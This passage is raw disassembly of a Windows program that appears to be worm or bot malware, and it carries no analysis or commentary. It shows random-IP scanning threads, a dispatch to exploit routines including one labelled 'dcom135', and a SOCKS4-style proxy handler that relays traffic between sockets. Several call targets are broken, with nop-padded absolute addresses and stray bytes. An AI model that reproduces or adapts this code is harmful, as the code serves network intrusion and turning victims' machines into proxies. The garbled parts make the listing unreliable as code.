ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_417AB0 cmp eax, 0Fh pop ecx jbe short loc_407656 xor eax, eax jmp short loc_4076C7 ; --------------------------------------------------------------------------- loc_407656: ; CODE XREF: sub_40762E+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_418A52 add esp, 18h cmp [ebp+var_C], esi jnz short loc_407683 call sub_41730C mov [ebp+var_C], eax loc_407683: ; CODE XREF: sub_40762E+4Bj cmp [ebp+var_8], esi jnz short loc_407690 call sub_41730C mov [ebp+var_8], eax loc_407690: ; CODE XREF: sub_40762E+58j cmp [ebp+var_4], esi jnz short loc_40769D call sub_41730C mov [ebp+var_4], eax loc_40769D: ; CODE XREF: sub_40762E+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_4076A9 call sub_41730C loc_4076A9: ; CODE XREF: sub_40762E+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_436F18[ecx*8], eax loc_4076C7: ; CODE XREF: sub_40762E+26j pop esi leave retn sub_40762E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4076CA proc near ; CODE XREF: sub_407767+BBp ; sub_40D4C5+30p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_43AE18 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4076F3 xor eax, eax jmp short loc_407762 ; --------------------------------------------------------------------------- loc_4076F3: ; CODE XREF: sub_4076CA+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_43AD98 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_43AE34 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_43AD40 mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_43AD80 push esi mov edi, eax call dword_43AE30 xor eax, eax cmp edi, ebx setnle al loc_407762: ; CODE XREF: sub_4076CA+27j pop edi pop esi pop ebx leave retn sub_4076CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407767 proc near ; DATA XREF: sub_40797F+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 26108B1h push eax call sub_417302 mov ebx, esi pop ecx imul ebx, 234h loc_4077AE: ; CODE XREF: sub_407767+204j mov eax, dword_4407F4[ebx] cmp dword_436F1C[eax*8], 0 jz loc_407970 cmp [ebp+var_10], 0 push eax jz short loc_4077D8 lea eax, [ebp+var_150] push eax call sub_40762E pop ecx jmp short loc_4077DD ; --------------------------------------------------------------------------- loc_4077D8: ; CODE XREF: sub_407767+60j call sub_4075E6 loc_4077DD: ; CODE XREF: sub_407767+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_4407F4[ebx] push [ebp+var_3C] push edi call dword_43AE24 push eax lea eax, [ebp+var_28C] push offset unk_42B3BC push eax call sub_4172B0 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_4405F0[ebx] push eax call sub_4172B0 push [ebp+var_38] push [ebp+var_3C] push edi call sub_4076CA add esp, 14h cmp eax, 1 jnz loc_407960 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4078B4 push offset dword_438F18 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_43AE24 push eax lea eax, [ebp+var_28C] push offset unk_42B384 push eax call sub_4172B0 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_407896 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40788A lea eax, [ebp+var_140] loc_40788A: ; CODE XREF: sub_407767+11Bj push eax push [ebp+var_40] call sub_40D679 add esp, 14h loc_407896: ; CODE XREF: sub_407767+100j lea eax, [ebp+var_28C] push eax call sub_40BF6D mov [esp+2A8h+var_2A8], offset dword_438F18 nop call near ptr 77F7E300h jmp loc_407960 ; --------------------------------------------------------------------------- loc_4078B4: ; CODE XREF: sub_407767+D0j push edi call dword_43AE24 push eax lea eax, [ebp+var_208] push eax call sub_4172B0 mov eax, [ebp+var_20] pop ecx imul eax, 3Ch pop ecx add eax, offset aDcom135_0 ; "dcom135" push eax lea eax, [ebp+var_178] push eax call sub_4172B0 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_4078F9 lea eax, [ebp+var_140] loc_4078F9: ; CODE XREF: sub_407767+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_4172B0 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call off_42ACB4[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_407960: ; CODE XREF: sub_407767+C6j ; sub_407767+148j push 7D0h nop call near ptr 2620000h jmp loc_4077AE ; --------------------------------------------------------------------------- loc_407970: ; CODE XREF: sub_407767+55j push esi call sub_417078 pop ecx push 0 call near ptr 2610350h nop sub_407767 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40797F proc near ; DATA XREF: sub_40EE72+3300o ; sub_40EE72+5137o var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_43ADD8 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_436F18[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_407252 push 8 call sub_416FA4 add esp, 150h cmp eax, ebx jnz short loc_407A4D mov esi, offset dword_438F18 push esi nop call near ptr 26E0000h push 80000400h push esi call near ptr 26D0B4Bh nop test eax, eax jnz short loc_407A4D lea eax, [ebp+var_1CC] push offset unk_42B4F0 push eax call sub_4172B0 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_407A37 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40D679 add esp, 14h loc_407A37: ; CODE XREF: sub_40797F+99j lea eax, [ebp+var_1CC] push eax call sub_40BF6D pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_407A4D: ; CODE XREF: sub_40797F+63j ; sub_40797F+7Fj mov eax, [ebp+var_2C] mov esi, dword_424064 mov edi, ebx mov dword_436F1C[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_407B1A loc_407A6B: ; CODE XREF: sub_40797F+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_42B4A8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_416D5C mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_4407F4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_407767 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_407AE5 loc_407ADA: ; CODE XREF: sub_40797F+164j cmp [ebp+var_4], ebx jnz short loc_407B0C push 1Eh call esi jmp short loc_407ADA ; --------------------------------------------------------------------------- loc_407AE5: ; CODE XREF: sub_40797F+159j nop call near ptr 2650C0Ah push eax lea eax, [ebp+var_1CC] push offset unk_42B45C push eax call sub_4172B0 lea eax, [ebp+var_1CC] push eax call sub_40BF6D add esp, 10h loc_407B0C: ; CODE XREF: sub_40797F+15Ej push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_407A6B loc_407B1A: ; CODE XREF: sub_40797F+E6j cmp [ebp+var_30], ebx jz loc_407BC4 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_407B2F: ; CODE XREF: sub_40797F+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_436F18[eax*8] push eax call dword_43AE24 push eax lea eax, [ebp+var_1CC] push offset unk_42B408 push eax call sub_4172B0 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_407B7D push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40D679 add esp, 14h loc_407B7D: ; CODE XREF: sub_40797F+1DFj lea eax, [ebp+var_1CC] push eax call sub_40BF6D mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_436F1C[eax*8], ebx call esi push 8 call sub_416FA4 cmp eax, 1 pop ecx jnz short loc_407BB4 push offset dword_438F18 nop call near ptr 26E0000h loc_407BB4: ; CODE XREF: sub_40797F+228j push [ebp+var_2C] call sub_417078 pop ecx push ebx nop call near ptr 2610350h loc_407BC4: ; CODE XREF: sub_40797F+19Ej ; sub_40797F+25Dj mov eax, [ebp+var_2C] cmp dword_436F1C[eax*8], 1 jnz loc_407B2F push 7D0h call esi jmp short loc_407BC4 sub_40797F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BDE proc near ; DATA XREF: sub_40EE72+36DDo var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp+var_10] push ebx push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call dword_43AD98 push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call dword_43AE18 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_407D42 mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov dword_4407FC[eax], ebx call dword_43ACB4 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43ADC4 test eax, eax jnz loc_407D42 push 0Ah push ebx call dword_43ADC0 test eax, eax jnz loc_407D42 loc_407C88: ; CODE XREF: sub_407BDE+BEj ; sub_407BDE+13Fj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call dword_43AE2C mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_407C88 movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call dword_43AE24 push eax lea eax, [ebp+var_34C] push offset unk_42B584 push eax call sub_4172B0 push edi lea eax, [ebp+var_34C] push 10h push eax call sub_416D5C mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4407F4[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset loc_407D66 push esi push esi nop call near ptr 2680B9Ah mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_440804[ecx], eax jz short loc_407D2D loc_407D1A: ; CODE XREF: sub_407BDE+14Dj cmp [ebp+var_2C], esi jnz loc_407C88 push 32h call near ptr 2620000h nop jmp short loc_407D1A ; --------------------------------------------------------------------------- loc_407D2D: ; CODE XREF: sub_407BDE+13Aj nop call near ptr 2650C0Ah push eax push offset unk_42B538 call sub_40BFE1 pop ecx pop ecx jmp short loc_407D45 ; --------------------------------------------------------------------------- loc_407D42: ; CODE XREF: sub_407BDE+61j ; sub_407BDE+93j ... mov edi, [ebp+arg_0] loc_407D45: ; CODE XREF: sub_407BDE+162j push edi call dword_43AE30 push ebx call dword_43AE30 push [ebp+var_3C] call sub_417078 pop ecx push esi nop call near ptr 2610350h pop edi pop esi pop ebx sub_407BDE endp ; sp-analysis failed loc_407D66: ; DATA XREF: sub_407BDE+11Co push ebp mov ebp, esp mov eax, 1344h call sub_417B30 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_43AE18 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_407F1C push 10h lea eax, [ebp-18h] push edi push eax call sub_417330 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_43AD98 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_43ADD8 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_407DF6 lea eax, [ebp-13Ch] push eax call dword_43AE1C jmp short loc_407E04 ; --------------------------------------------------------------------------- loc_407DF6: ; CODE XREF: ___:00407DE5j push 2 lea eax, [ebp-8] push 4 push eax call dword_43AD50 loc_407E04: ; CODE XREF: ___:00407DF4j cmp eax, edi jz loc_407F1C mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_407F1C movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_43AE24 push eax lea eax, [ebp-344h] push offset unk_42B62C push eax call sub_4172B0 push esi lea eax, [ebp-344h] push 10h push eax call sub_416D5C imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_4407FC[ebx] mov dword_4407F4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_440800[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_407F4D push edi push edi call near ptr 2680B9Ah nop mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_440804[ecx], eax jz short loc_407F09 loc_407EB6: ; CODE XREF: ___:00407EC3j cmp [ebp-20h], edi jnz short loc_407EC5 push 32h nop call near ptr 2620000h jmp short loc_407EB6 ; --------------------------------------------------------------------------- loc_407EC5: ; CODE XREF: ___:00407EB9j mov ebx, 1000h loc_407ECA: ; CODE XREF: ___:00407F05j push ebx lea eax, [ebp-1344h] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_43ADB0 cmp eax, edi jle short loc_407F1C push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_407ECA jmp short loc_407F1C ; --------------------------------------------------------------------------- loc_407F09: ; CODE XREF: ___:00407EB4j nop call near ptr 2650C0Ah push eax push offset unk_42B5DC call sub_40BFE1 pop ecx pop ecx loc_407F1C: ; CODE XREF: ___:00407DAAj ; ___:00407E06j ... mov eax, [ebp-4] imul eax, 234h push dword_4407FC[eax] call dword_43AE30 push dword ptr [ebp+8] call dword_43AE30 push dword ptr [ebp-4] call sub_417078 pop ecx push edi nop call near ptr 2610350h pop edi pop esi pop ebx loc_407F4D: ; DATA XREF: ___:00407E96o push ebp mov ebp, esp mov eax, 1128h call sub_417B30 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_407F84: ; CODE XREF: ___:00407FC9j push edi lea eax, [ebp-1128h] push 0 push eax call sub_417330 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_440800[esi] call dword_43ADB0 test eax, eax jle short loc_407FCB push 0 push eax lea eax, [ebp-1128h] push eax push dword_4407FC[esi] call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_407F84 loc_407FCB: ; CODE XREF: ___:00407FAEj push dword_440800[esi] call dword_43AE30 push dword ptr [ebp-14h] call sub_417078 pop ecx push 0 nop ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- push 5F022083h pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407FEA proc near ; DATA XREF: sub_40EE72+5E51o var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp+var_14] push esi push eax call sub_417330 add esp, 0Ch mov word ptr [ebp+var_14], 2 push [ebp+var_40] call dword_43AD98 push 6 push edi push 2 mov word ptr [ebp+var_14+2], ax mov [ebp+var_10], esi call dword_43AE18 mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_4407FC[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_43ADC4 test eax, eax jnz loc_40818C push 0Ah push edi call dword_43ADC0 test eax, eax jnz loc_40818C push [ebp+var_40] push [ebp+var_D4] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2D4] push offset unk_42B75C push eax call sub_4172B0 add esp, 10h cmp [ebp+var_30], esi jnz short loc_4080C5 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40D679 add esp, 14h loc_4080C5: ; CODE XREF: sub_407FEA+B9j ; sub_407FEA+172j ... lea eax, [ebp+var_2D4] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_43AE2C push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_43AE24 push eax lea eax, [ebp+var_2D4] push offset unk_42B708 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2D4] push 11h push eax call sub_416D5C mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4407F4[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset loc_4081EF push esi push esi nop call near ptr 2680B9Ah mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_440804[ecx], eax jz short loc_40816C loc_408159: ; CODE XREF: sub_407FEA+180j cmp [ebp+var_28], esi jnz loc_4080C5 push 5 nop call near ptr 2620000h jmp short loc_408159 ; --------------------------------------------------------------------------- loc_40816C: ; CODE XREF: sub_407FEA+16Dj nop call near ptr 2650C0Ah push eax lea eax, [ebp+var_2D4] push offset unk_42B6C0 push eax call sub_4172B0 add esp, 0Ch jmp loc_4080C5 ; --------------------------------------------------------------------------- loc_40818C: ; CODE XREF: sub_407FEA+7Bj ; sub_407FEA+8Cj push edi call dword_43AE30 push [ebp+var_40] lea eax, [ebp+var_2D4] push offset unk_42B680 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4081CF push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40D679 add esp, 14h loc_4081CF: ; CODE XREF: sub_407FEA+1C3j lea eax, [ebp+var_2D4] push eax call sub_40BF6D push [ebp+var_3C] call sub_417078 pop ecx pop ecx push esi nop call near ptr 2610350h pop edi pop esi pop ebx loc_4081EF: ; DATA XREF: sub_407FEA+14Fo push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_4407FC[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_43AD80 test eax, eax jnz short loc_408270 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 2610350h loc_408270: ; CODE XREF: sub_407FEA+26Cj push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_43ADB0 test eax, eax jg short loc_4082A1 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx call near ptr 2610350h nop loc_4082A1: ; CODE XREF: sub_407FEA+29Dj cmp [ebp+var_4D0], 4 jnz loc_40849B cmp [ebp+var_4CF], 1 jnz loc_40849B cmp [ebp+var_44], bl jz short loc_408337 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_408337 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset unk_42B830 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_417330 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 2610350h loc_408337: ; CODE XREF: sub_407FEA+2D4j ; sub_407FEA+2EAj push 10h lea eax, [ebp+var_18] push ebx push eax call sub_417330 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4083CF call dword_43AD2C push eax push offset unk_42B7E4 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_417330 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 2610350h loc_4083CF: ; CODE XREF: sub_407FEA+386j lea eax, [ebp+var_18] push 10h push eax push edi call dword_43AD40 cmp eax, 0FFFFFFFFh jnz short loc_40843E call dword_43AD2C push eax push offset unk_42B794 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_417330 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 2610350h loc_40843E: ; CODE XREF: sub_407FEA+3F5j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_417330 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] push edi call sub_4084B3 pop ecx pop ecx push edi call dword_43AE30 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 2610350h loc_40849B: ; CODE XREF: sub_407FEA+2BEj ; sub_407FEA+2CBj push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 2610350h sub_407FEA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4084B3 proc near ; CODE XREF: sub_407FEA+48Bp var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_4084C9: ; CODE XREF: sub_4084B3+C5j ; sub_4084B3+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_4084E1: ; CODE XREF: sub_4084B3+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_4084F1 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4084E1 loc_4084F1: ; CODE XREF: sub_4084B3+33j cmp ecx, 1 jnz short loc_408506 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_408506: ; CODE XREF: sub_4084B3+41j push esi lea eax, [ebp+var_504] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_43AD80 lea eax, [ebp+var_104] push eax push ebx call dword_43AC90 test eax, eax jz short loc_408566 push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_43ADB0 cmp eax, 0FFFFFFFFh jz short loc_4085AE push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_4085AE loc_408566: ; CODE XREF: sub_4084B3+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_43AC90 test eax, eax jz loc_4084C9 push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_43ADB0 cmp eax, 0FFFFFFFFh jz short loc_4085AE push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz loc_4084C9 loc_4085AE: ; CODE XREF: sub_4084B3+9Aj ; sub_4084B3+B1j ... pop edi pop esi pop ebx leave retn sub_4084B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4085B3 proc near ; CODE XREF: sub_40EE72+45AFp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword 